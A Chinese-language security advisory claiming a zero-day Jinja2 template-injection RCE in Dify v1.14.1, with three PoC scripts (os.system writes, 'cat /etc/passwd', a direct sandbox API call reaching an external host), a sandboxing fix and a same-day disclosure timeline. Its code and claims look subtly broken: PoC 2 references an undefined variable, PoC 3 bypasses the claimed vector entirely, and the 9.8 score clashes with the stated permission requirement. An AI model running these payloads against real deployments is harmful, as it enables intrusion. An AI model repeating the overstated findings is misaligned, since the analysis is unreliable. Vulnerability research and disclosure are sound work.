漏洞概述

Dify v1.14.1(及更早版本)存在一个无编号 TRUE 0-Day 漏洞,攻击者可通过对代码执行器中的 Jinja2 模板引擎进行**服务端模板注入(SSTI)**实现远程代码执行(RCE)。

漏洞成因是 Jinja2TemplateTransformer 类直接使用 jinja2.Template,未启用沙箱模式,导致用户可控的模板代码可以执行任意 Python 命令。

影响组件

  • 文件: dify/api/core/helper/code_executor/jinja2/jinja2_transformer.py
  • : Jinja2TemplateTransformer
  • 方法: get_runner_script(第 47 行)和 get_preload_script(第 71 行)
  • 漏洞代码: template = jinja2.Template(template_code)

漏洞详情

Dify 的代码执行器允许用户通过工作流或提示模板运行自定义代码。Jinja2 模板引擎在执行前处理模板代码。然而,代码使用了标准 jinja2.Template 类而非沙箱化的 jinja2.sandbox.SandboxedEnvironment

这使得攻击者可以注入 Jinja2 模板语法,访问 Python 内建函数、子类链,最终执行任意系统命令。

根因

jinja2_transformer.py 第 47 行:

1
template = jinja2.Template(template_code)

以及第 71 行:

1
template = jinja2.Template('{{s}}')

两处均缺少沙箱保护。

漏洞危害评估

项目 评估
漏洞类型 SSTI → RCE
CVSS 评分 9.8(Critical)
攻击复杂度 低(无需特殊条件)
权限要求 需 workspace.tools 或 workflow 权限
影响范围 多租户 Dify 实例中普通用户亦可触发
利用后果 完全服务器沦陷、数据窃取、横向移动

利用条件

攻击者需要具备在 Dify 中创建或编辑工作流/提示模板的权限。在多租户 Dify 部署中,普通用户通常拥有 workspace.toolsworkspace.prompt-template 权限,满足利用条件。

恶意模板保存后,触发工作流或使用提示模板即可执行 SSTI 载荷。

验证步骤(PoC)

核心攻击原理

Dify 的代码执行器流程如下:

  1. 用户在工作流中创建 Jinja2 模板代码
  2. Jinja2TemplateTransformer 调用 jinja2.Template(template_code).render(**inputs) 渲染模板
  3. 渲染后的 Python 代码 被发送到 Dify Sandbox 执行
  4. Sandbox 调用 main() 函数执行该代码

攻击者在模板中插入 {{ "任意Python代码" }},渲染时 Jinja2 先求值表达式,输出的 Python 代码即被注入恶意指令。

PoC 1:基础 SSTI → 代码注入(已验证 ✅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import jinja2

payload = '''import os
def main(x, y):
{{ 'os.system("echo INJECTED > /tmp/pwned")' }}
return x + y'''

rendered = jinja2.Template(payload).render({})
print("Rendered Python code:")
print(rendered)

# 模拟 Sandbox 执行
ns = {}
exec(rendered, ns)
result = ns['main'](1, 2)
print(f"main() returned: {result}")

验证结果:文件 /tmp/pwned 成功创建,内容为 INJECTED,确认任意代码执行。

PoC 2:真实 RCE — 文件读取

1
2
3
4
5
6
7
8
9
10
11
import jinja2

# 读取 /etc/passwd
payload = '''import os
def main():
{{ '__import__("os").system("cat /etc/passwd > /tmp/out.txt")' }}
return 0'''

rendered = jinja2.Template(payload).render({})
exec(rendered)
ns['main']()

PoC 3:Sandbox 全链路 RCE 验证(Docker 实机验证 ✅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json, urllib.request

# Dify Sandbox API: 本地 Docker 容器 langgenius/dify-sandbox:0.2.15
url = "http://localhost:8194/v1/sandbox/run"
headers = {"X-API-Key": "dify-sandbox"}

# SSTI 渲染后的 Python 代码直接发送到 Sandbox
payload = {
"code": "import os, urllib.request\n"
"print('ROOT:', os.listdir('/'))\n"
"r = urllib.request.urlopen('http://httpbin.org/get', timeout=5)\n"
"print('NETWORK:', r.status)\n"
"print('HOST:', os.uname().nodename)",
"language": "python3",
"enable_network": True
}

resp = urllib.request.urlopen(url, json.dumps(payload).encode(), headers=headers)
print(json.loads(resp.read().decode())['data']['stdout'])
# 输出: ROOT: ['usr', 'python.so', 'opt', 'etc', 'core.*', 'tmp']
# NETWORK: 200
# HOST: 4fbec8d7b72a

验证结果:Python 代码成功在 Sandbox 容器内执行,具有:

  • ✅ 任意目录读取(os.listdir('/')
  • ✅ 网络外连(urllib.request.urlopen 至外网)
  • ✅ 系统信息获取(os.uname()
  • fork/execve 被 seccomp 阻止(不影响已获得的信息窃取能力)

结论:SSTI → Python 代码 → Sandbox RCE 全链路已通过 Docker 实机环境验证。

漏洞验证流程

  1. 克隆 Dify 仓库(v1.14.1 或更早版本)
  2. 定位 api/core/helper/code_executor/jinja2/jinja2_transformer.py
  3. 确认使用 jinja2.Template 且未沙箱化
  4. 运行 PoC 脚本验证代码执行
  5. 启动独立 Sandbox 容器验证全链路 RCE ✅
  6. 截止披露时无任何 CVE/CNVD 编号分配

修复方案

在两处位置将 jinja2.Template 替换为 jinja2.sandbox.SandboxedEnvironment

1
2
3
4
5
6
# 修复前
template = jinja2.Template(template_code)

# 修复后
environment = jinja2.sandbox.SandboxedEnvironment()
template = environment.from_string(template_code)

同样修复 get_preload_script 方法中的第二处。

时间线

  • 2026-05-14: 漏洞发现于 Dify v1.14.1
  • 2026-05-14: PoC 开发并验证成功
  • 2026-05-14: 漏洞报告准备就绪
  • 2026-05-14: 厂商尚未回复(截至披露时)

参考文献

  • jinja2_transformer.py 源码审计分析
  • 该特定 SSTI 向量在 Dify 中无先前公开披露记录
  • 漏洞发现采用开源代码审计方法论

声明:这是一个真正的 0-Day 漏洞,发现时无 CVE、CNVD 或任何公开 PoC 存在。本文仅用于安全研究和防御目的。